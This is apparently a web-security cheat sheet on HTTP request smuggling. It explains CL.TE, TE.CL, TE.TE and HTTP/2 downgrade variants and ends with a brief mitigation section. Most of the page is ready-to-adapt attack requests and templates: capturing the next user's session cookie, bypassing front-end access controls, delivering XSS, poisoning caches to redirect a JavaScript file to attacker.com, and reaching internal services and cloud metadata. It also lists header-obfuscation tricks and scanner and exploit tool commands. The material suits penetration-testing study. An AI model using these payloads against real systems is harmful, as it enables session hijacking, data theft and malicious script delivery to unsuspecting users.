ᛉ Yggdrasil

Web

HTTP Request Smuggling

15 Sep 2026 · 3,172 words · 14 min

Contents

Legend: [CL] = Content-Length | [TE] = Transfer-Encoding | [FE] = Front-end server | [BE] = Back-end server | [H2] = HTTP/2 | [BYPASS] = Security bypass | [CACHE] = Cache poisoning | [XSS] = Cross-site scripting | [DETECT] = Detection | [TOOL] = Tool


1. Fundamentals

What it means: HTTP Request Smuggling exploits the fact that front-end (proxy/load balancer) and back-end servers interpret HTTP request boundaries differently. By crafting ambiguous requests with conflicting Content-Length and Transfer-Encoding headers, an attacker can "smuggle" a hidden second request inside the first — which the back-end processes independently, poisoning the connection for the next user.


1.1 Why It Exists

┌──────────────────────────────────────────────────────────────────────────────┐
│                 HTTP REQUEST SMUGGLING — CORE CONCEPT                        │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Client → [Front-End / Proxy / CDN] → [Back-End App Server]                 │
│                                                                              │
│   Problem:                                                                   │
│                                                                              │
│     ├─ HTTP/1.1 defines TWO ways to indicate body length:                    │
│     │                                                                        │
│     │   • Content-Length (CL)  : explicit byte count                         │
│     │   • Transfer-Encoding    : chunked (body sent in pieces)               │
│     │                                                                        │
│     ├─ RFC 7230 states: if BOTH are present → use TE, ignore CL              │
│     │                                                                        │
│     ├─ But not all servers follow RFC 7230                                   │
│     │   → Front-end may use CL, back-end uses TE (or vice versa)             │
│     │                                                                        │
│     └─ Attacker sends BOTH headers with conflicting values                   │
│         → Front-end sees ONE request boundary                                │
│         → Back-end sees a DIFFERENT boundary                                 │
│         → Leftover bytes become the START of next request (smuggled)         │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 Architecture Requirement

Required setup:
├── Multi-server chain: MUST have FE → BE pipeline
├── Persistent connections (keepalive) between FE and BE
│ → Multiple requests share same TCP connection
│ → Poisoned "leftover" bytes prepend next request!
├── At least one server mishandles conflicting CL/TE headers
└── Usually: CDN/WAF/Nginx (FE) → Apache/Tomcat/IIS (BE)

Real-world affected combos:
├── Nginx (FE) + Apache (BE) → CL.TE
├── HAProxy (FE) + Nginx (BE) → TE.CL
├── AWS ALB (FE) + Custom App (BE) → various
├── Cloudflare (FE) + Origin (BE) → H2.TE
└── IIS (FE) + IIS/ASP.NET (BE) → TE.TE obfuscation


2. HTTP Parsing Headers

2.1 Content-Length (CL)

POST /search HTTP/1.1
Host: vulnerable.com
Content-Length: 11

q=smuggled

Content-Length: 11 → server reads exactly 11 bytes of body
Body: "q=smuggled\n" = 11 bytes → request ends here
Simple, explicit — but ambiguous when combined with TE!

2.2 Transfer-Encoding: Chunked (TE)

POST /search HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked

b           ← chunk size in HEX (b = 11 decimal)
q=smuggled  ← chunk data (11 bytes)
0           ← ZERO = end of chunks!
            ← empty line terminates

Chunked format:
\r\n
\r\n
\r\n
\r\n
0\r\n ← terminator chunk
\r\n ← final CRLF

Key: "0" chunk = end of request body

2.3 Conflict Behavior

RFC 7230 Rule: If BOTH CL and TE present → TE WINS, ignore CL
Reality:
├── Some servers use CL (ignore TE)
├── Some servers use TE (ignore CL)
├── Some servers use whichever comes FIRST
└── Some strip headers they don't understand
→ This inconsistency = the vulnerability!


3. CL.TE Attacks

What it means: The Front-End uses Content-Length, the Back-End uses Transfer-Encoding. The FE reads the full CL body and forwards it. The BE processes it as chunked — sees the 0 terminator early, and treats the remaining bytes as the start of the NEXT request.


3.1 CL.TE Basic Attack

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Front-End (uses Content-Length = 13):
Reads 13 bytes: "0\r\n\r\nSMUGGLED"
Thinks: "That's the complete request body"
Forwards ENTIRE thing to back-end ✓

Back-End (uses Transfer-Encoding: chunked):
Reads: "0\r\n\r\n" = chunk size 0 → END OF REQUEST!
Thinks: "Request 1 is done."
BUT: "SMUGGLED" bytes are LEFT in the buffer!
→ "SMUGGLED" gets PREPENDED to the NEXT user's request!

Next user sends: GET /home HTTP/1.1 ...
Back-end sees: SMUGGLEDGET /home HTTP/1.1 ...
→ Invalid request / unexpected behavior / info leak!

3.2 CL.TE — Poison Next Request

POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

FE: sees CL=42, forwards full body to BE
BE: sees TE, reads "0" → ends request 1
"GET /admin HTTP/1.1\r\nX-Ignore: X"
→ prepended to NEXT user request!

Next user sends: POST /login HTTP/1.1\r\nHost: ...
BE sees: GET /admin HTTP/1.1\r\nX-Ignore: XPOST /login...
→ Next user gets /admin response!
→ Or: attacker gets next user's request appended to /admin!

3.3 CL.TE — Capture Next User's Request

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Cookie: session=attacker_session

comment=

Explanation:
├── Note: Content-Length: 200 (big) in smuggled POST
├── BE processes smuggled POST as next request
├── BE waits for 200 bytes of body
├── Next legitimate user's request fills the body!
├── The next user's headers (with their cookies!) go into "comment"
├── Comment gets saved to database
└── Attacker reads comment → gets victim's session cookie!
= SESSION HIJACKING via request smuggling!


4. TE.CL Attacks

What it means: The Front-End uses Transfer-Encoding, the Back-End uses Content-Length. The FE processes chunked encoding and forwards based on chunk terminator. The BE counts bytes via CL — so the extra smuggled data with its own CL gets processed as a new independent request.


4.1 TE.CL Basic Attack

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

admin=true
0

Anatomy:
Content-Length: 4 ← FE only reads 4 bytes? No...
Transfer-Encoding: chunked ← FE uses THIS (TE.CL scenario)

"5e" = 94 decimal = chunk size
FE reads 94 bytes of chunk data:
"POST /admin HTTP/1.1\r\n..."
Then reads "0\r\n\r\n" = end of chunks
FE thinks: request done. Forwards to BE.

Back-End uses Content-Length: 4
BE reads 4 bytes: "5e\r\n"
BE thinks: request 1 body = "5e\r\n" — done!

REMAINING: "POST /admin HTTP/1.1\r\n..." stays in buffer!
→ Processed as the NEXT incoming request!
→ Attacker accesses /admin!

4.2 TE.CL Constructing the Attack

Building TE.CL payload:

Step 1: Write your smuggled request:
POST /admin HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
admin=true\r\n\r\n

Step 2: Count bytes of smuggled request
(count carefully including \r\n!)

Step 3: Write that count as HEX for chunk size
94 bytes = 5e in hex

Step 4: Construct full request:
POST / HTTP/1.1\r\n
Host: vulnerable.com\r\n
Content-Length: 4\r\n ← must be: len("5e\r\n") = 4
Transfer-Encoding: chunked\r\n
\r\n
5e\r\n ← chunk size (HEX of smuggled length)
[SMUGGLED REQUEST HERE]\r\n ← 94 bytes
0\r\n ← terminator chunk
\r\n

NOTE: In Burp, DISABLE "Update Content-Length" when crafting!


5. TE.TE Attacks

What it means: Both FE and BE support Transfer-Encoding, but one can be made to IGNORE it by obfuscating the header. The server that correctly processes TE handles chunked normally; the server that ignores the obfuscated header falls back to Content-Length — reducing to CL.TE or TE.CL behavior.


5.1 TE.TE Header Obfuscation Techniques

# ─── Obfuscation methods to make one server ignore TE ───

# Capitalization variation:
Transfer-Encoding: xChunked
Transfer-Encoding: CHUNKED
Transfer-Encoding: Chunked

# Whitespace tricks:
Transfer-Encoding : chunked       ← space before colon
Transfer-Encoding:  chunked       ← extra space after colon
 Transfer-Encoding: chunked       ← leading space (some parsers ignore!)

# Tab tricks:
Transfer-Encoding:[TAB]chunked

# Null byte / special chars:
Transfer-Encoding: chunked\x00   ← null byte suffix (truncates for some)
Transfer-Encoding: x\r\nTransfer-Encoding: chunked  ← CRLF injection!

# Double header (different behavior per server):
Transfer-Encoding: chunked
Transfer-Encoding: identity      ← second TE header

# Wrapped value:
Transfer-Encoding:
    chunked                      ← newline + space = header folding (RFC obs.)

# Unknown content type that leads to TE ignored:
Transfer-Encoding: cow           ← unknown value → falls back to CL?

5.2 TE.TE Example

POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked\x00

[body]

FE: sees first TE: chunked → processes as chunked ✓
BE: sees "chunked\x00" → doesn't recognize it → IGNORES TE
BE: falls back to Content-Length → now it's TE.CL!
→ Proceed as TE.CL attack!


6. HTTP/2 Smuggling

What it means: HTTP/2 uses binary framing (no CL/TE ambiguity), but when an HTTP/2 FE downgrades to HTTP/1.1 to talk to the BE, attacker-injected headers survive the downgrade — enabling new smuggling variants called H2.CL, H2.TE, and CRLF injection attacks.


6.1 H2.CL Attack

HTTP/2 Request (attacker sends to FE):
:method POST
:path /
:authority vulnerable.com
content-type: application/x-www-form-urlencoded
content-length: 0 ← injected CL = 0

GET /admin HTTP/1.1\r\n ← body (not "empty" due to H2 framing!)
Host: vulnerable.com\r\n
Content-Length: 10\r\n
\r\n
x=1

FE receives via H2, downgrades to HTTP/1.1 for BE:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 0 ← injected header survives downgrade!

GET /admin HTTP/1.1\r\n... ← treated as new request by BE!
→ BE processes smuggled GET /admin as independent request!

6.2 H2.TE Attack

# HTTP/2 request with injected Transfer-Encoding header:
# (H2 technically doesn't allow TE, but many implementations accept it)

:method: POST
:path: /
:authority: vulnerable.com
transfer-encoding: chunked    ← injected (H2 should reject this)

0

GET /admin HTTP/1.1
Host: vulnerable.com

FE: HTTP/2 → strips the TE? or passes it through?
Some FEs blindly pass H2 headers to BE after downgrade!
BE: receives HTTP/1.1 with Transfer-Encoding: chunked
Processes "0\r\n\r\n" as chunk end
"GET /admin HTTP/1.1..." becomes next request!

6.3 CRLF Injection in HTTP/2

H2 allows arbitrary header values, but CRLF in values
becomes header separators after HTTP/1.1 downgrade!

Inject:
foo: bar\r\nTransfer-Encoding: chunked

After H2→H1.1 downgrade, BE sees:
foo: bar
Transfer-Encoding: chunked ← NEW HEADER injected via CRLF!

→ BE now parses body as chunked encoding
→ CL/TE mismatch → smuggling!


7. Exploitation Techniques

7.1 Bypass Front-End Security Controls

# Scenario: /admin is blocked at FE (WAF/proxy rule)
# FE: blocks any request where path = /admin
# But: FE can't block smuggled requests embedded in body!

# CL.TE bypass:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: x

FE sees: POST / (allowed!) → forwards to BE
BE sees:
Request 1: POST / (normal)
Request 2: GET /admin ← from smuggled content!

FE rules NEVER applied to smuggled request!
→ Full access to /admin, /.git, /internal, etc.!
→ ACL bypass via request smuggling!

7.2 Deliver Reflected XSS

# If site reflects User-Agent in response (XSS)
# but User-Agent is not easily attacker-controlled...

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
X-Ignore: x

Next user's request:
GET /home HTTP/1.1\r\n
Host: vulnerable.com\r\n
...

BE sees:
GET / HTTP/1.1\r\n
User-Agent: \r\n
X-Ignore: xGET /home HTTP/1.1\r\n ← victim's request appended!

→ Server reflects XSS User-Agent to victim!
→ Victim's browser executes attacker's JS!
→ Stored XSS that you NEVER wrote to the DB!

7.3 Response Queue Poisoning

# Smuggle a COMPLETE well-formed second request:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private HTTP/1.1
Host: vulnerable.com

Normal flow:
Client A: Request → Response A
Client B: Request → Response B

Poisoned flow:
Attacker sends smuggled request → two responses queued:
Response 1: for attacker's outer POST
Response 2: for smuggled GET /private

Client B sends their request → receives Response 2 (WRONG!)
→ Client B sees /private response meant for attacker!
→ Or attacker receives Client B's response!
→ Account takeover / data leak!

7.4 Cache Poisoning via Smuggling

# Force cache to store malicious response for a legitimate URL

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /static/include.js HTTP/1.1
Host: attacker.com
X-Ignore: x

BE processes smuggled request:
GET /static/include.js with Host: attacker.com
→ Responds with REDIRECT to attacker.com!

FE CACHES this response against /static/include.js!

Now ANY user requesting /static/include.js:
→ Gets redirected to attacker.com/malicious.js!
→ Attacker serves malicious JS to ALL users!
= Web Cache Deception / XSS via smuggling!

7.5 SSRF via Request Smuggling

# Smuggle request to internal backend service
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 57
Transfer-Encoding: chunked

0

GET http://internal-service.corp/admin HTTP/1.1
Host: internal-service.corp
X-Ignore: x

FE: allows POST to / (normal)
BE: processes smuggled GET to http://internal-service.corp/admin
→ Reaches internal services not exposed externally!
→ SSRF to metadata services, internal APIs, etc.!
= Cloud metadata: http://169.254.169.254/latest/meta-data/


8. Detection & Confirmation

8.1 Timing-Based Detection

CL.TE Timing Test:
Send ambiguous request with:
Content-Length: 4
Transfer-Encoding: chunked
Body: \r\n\r\nA ← not a valid chunk, incomplete!

If BE uses TE: waits for more chunks → TIMEOUT!
If FE uses CL: forwards immediately (no timeout)
→ 10+ second delay = CL.TE vulnerability!

TE.CL Timing Test:
Send:
Content-Length: 6
Transfer-Encoding: chunked
Body: 0\r\n\r\nX ← "0" terminates TE, but CL expects 6 bytes!

If BE uses CL: waits for remaining bytes → TIMEOUT!
→ 10+ second delay = TE.CL vulnerability!

8.2 Differential Response Detection (CL.TE)

# Send two requests quickly — if second is affected → confirmed!

# Request 1: smuggle a fragment
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 49

e
q=smuggling_test
0

GET /404_not_exist HTTP/1.1
X-Ignore: x

If vulnerable:
Request 2 (immediately after) gets:
404 Not Found (from the smuggled GET /404_not_exist)
Instead of expected normal response!
→ Confirmed CL.TE vulnerability!

8.3 Confirming with Burp Repeater

Steps in Burp Suite:
1. Turn off "Update Content-Length" in Repeater!
(Repeater tab → uncheck "Update Content-Length")

  1. Turn off "Normalize HTTP/1 line endings"

  2. Send request with \r\n properly:
    Use Burp's "Non-printable characters" view to verify

  3. Key Burp settings:
    - Disable auto-fix content length
    - Use HTTP/1.1 only (not HTTP/2) for testing
    - Connection: keep-alive (needed for poisoning)

  4. Watch for:
    - Timeout (timing-based)
    - 404/error on second request (differential response)
    - Different response body on subsequent requests


9. Tools & Automation

9.1 Burp Suite Pro (HTTP Request Smuggler Extension)

─── HTTP Request Smuggler (BApp Extension) ───
Install: BApp Store → "HTTP Request Smuggler" by James Kettle

Features:
├── Automatic CL.TE / TE.CL / TE.TE detection
├── Timing-based probing (no false-positive poisoning)
├── H2 downgrade smuggling detection
└── Generates ready-to-use PoC requests

Usage:
Right-click request → Extensions → HTTP Request Smuggler
→ Smuggle Probe
→ Automatically tests all variants!

9.2 smuggler.py

# ─── smuggler.py: CLI smuggling scanner ───
git clone https://github.com/defparam/smuggler.git
cd smuggler

# Basic scan:
python3 smuggler.py -u "https://vulnerable.com/"

# Verbose + all techniques:
python3 smuggler.py -u "https://vulnerable.com/" -v

# POST method:
python3 smuggler.py -u "https://vulnerable.com/" -m POST

# With custom headers (cookies, auth):
python3 smuggler.py -u "https://vulnerable.com/" \
    -H "Cookie: session=abc123" \
    -H "Authorization: Bearer TOKEN"

# Output: identifies CL.TE, TE.CL, TE.TE variants!

9.3 h2csmuggler

# ─── h2csmuggler: HTTP/2 cleartext upgrade smuggling ───
git clone https://github.com/BishopFox/h2csmuggler.git
pip3 install -r requirements.txt

# Test for h2c upgrade vulnerability:
python3 h2csmuggler.py --scan-list urls.txt

# Exploit h2c smuggling:
python3 h2csmuggler.py \
    -x https://vulnerable.com/ \
    "https://vulnerable.com/admin"
# → Accesses /admin via h2c upgrade smuggling!

9.4 Manual Testing Checklist

Pre-testing:
□ Identify architecture: FE type + BE type (via headers, errors)
□ Confirm keepalive: Connection: keep-alive
□ Disable Burp auto Content-Length updates
□ Switch to HTTP/1.1 in Burp Repeater

Testing order:
□ Timing test for CL.TE (send incomplete chunk to BE)
□ Timing test for TE.CL (send incomplete CL to BE)
□ Differential response test (two rapid requests)
□ Try TE.TE obfuscation variants
□ Try H2 downgrade variants (if FE speaks HTTP/2)

Exploitation:
□ Bypass FE access controls (/admin, /internal)
□ Capture next user's request (session hijack)
□ Response queue poisoning
□ Cache poisoning
□ XSS via smuggled headers
□ SSRF to internal services


10. Defense & Mitigation

10.1 Server Configuration

Preventive Controls:
├── Use HTTP/2 end-to-end (FE and BE both H2)
│ → H2 has binary framing, no CL/TE ambiguity!
│ ├── Normalize ambiguous requests at FE:
│ → Reject requests with BOTH CL and TE headers
│ → OR strip one header before forwarding to BE
│ ├── Use same HTTP parsing library on FE and BE:
│ → Eliminates interpretation differences!
│ ├── Disable keepalive connections between FE and BE:
│ → Each request gets a new connection
│ → No "leftover bytes" between requests
│ → Performance trade-off!
│ ├── Configure servers to reject ambiguous requests:
│ Nginx: reject_invalid_headers on;
│ Apache: strict parsing mode
│ └── WAF rules:
Detect and block requests with conflicting CL + TE

Nginx config:
ignore_invalid_headers off; # strict header handling
underscores_in_headers off;

Apache:
RejectOverlappingHeaders On # Apache 2.4.55+

10.2 HTTP/2 Specific Defenses

├── Validate pseudo-headers in HTTP/2
├── Reject HTTP/2 requests containing TE: chunked header
│ (TE not valid in HTTP/2 per RFC 7540)
├── Never inject attacker-controlled H2 headers into H1 backend
└── Sanitize CRLF from H2 header values before downgrade


11. Complete Cheat Sheet

11.1 Attack Type Quick Reference

Type FE Header BE Header Technique
──────────────────────────────────────────────────────────────────
CL.TE Content-Len Transfer-Enc Set CL to full size, TE body has "0" early
TE.CL Transfer-Enc Content-Len Set chunk size to cover smuggled req, CL small
TE.TE Transfer-Enc Transfer-Enc Obfuscate TE so ONE server ignores it
H2.CL HTTP/2 Content-Len Inject CL:0 header in H2, body has smuggled req
H2.TE HTTP/2 Transfer-Enc Inject TE:chunked in H2 (downgrade abuse)

11.2 CL.TE Template

POST / HTTP/1.1
Host: TARGET
Content-Length: [FULL_BODY_LENGTH]
Transfer-Encoding: chunked
Connection: keep-alive

0

[SMUGGLED_REQUEST_FRAGMENT]

11.3 TE.CL Template

POST / HTTP/1.1
Host: TARGET
Content-Length: [LENGTH_OF_FIRST_LINE_ONLY]
Transfer-Encoding: chunked
Connection: keep-alive

[HEX_LENGTH_OF_SMUGGLED]
[SMUGGLED_REQUEST]
0

11.4 TE Obfuscation Templates

# Template 1: null byte
Transfer-Encoding: chunked\x00

# Template 2: space before header
Transfer-Encoding : chunked

# Template 3: double header
Transfer-Encoding: identity
Transfer-Encoding: chunked

# Template 4: unusual capitalization
Transfer-Encoding: Chunked

# Template 5: CRLF injection
Foo: bar\r\nTransfer-Encoding: chunked

11.5 Exploitation Quick Reference

Goal Technique
──────────────────────────────────────────────────────────────────────
Bypass ACL/WAF Smuggle GET /restricted into body
Capture user requests Smuggle POST with large CL → victim appended
XSS delivery Smuggle req with XSS in headers (User-Agent)
Cache poisoning Smuggle redirect, cache stores evil response
SSRF Smuggle req to internal:// or 169.254.x.x
Response poisoning Smuggle full well-formed request → wrong response
Session hijacking Capture Cookie header of next victim's request
DoS Flood pipeline with desync → break all responses

11.6 Impact Severity Reference

Impact Technique Severity
Security control bypass Smuggle to restricted endpoint 🔴 Critical
Session hijacking Capture user cookie via smuggled POST 🔴 Critical
Cache poisoning Smuggle redirect for static asset 🔴 Critical
Reflected XSS to users Smuggle XSS in headers 🟠 High
SSRF to internal services Smuggle to internal URL 🟠 High
Response queue poisoning Send complete smuggled request 🟠 High
DoS Pipeline desync flooding 🟡 Medium

← Web top ↑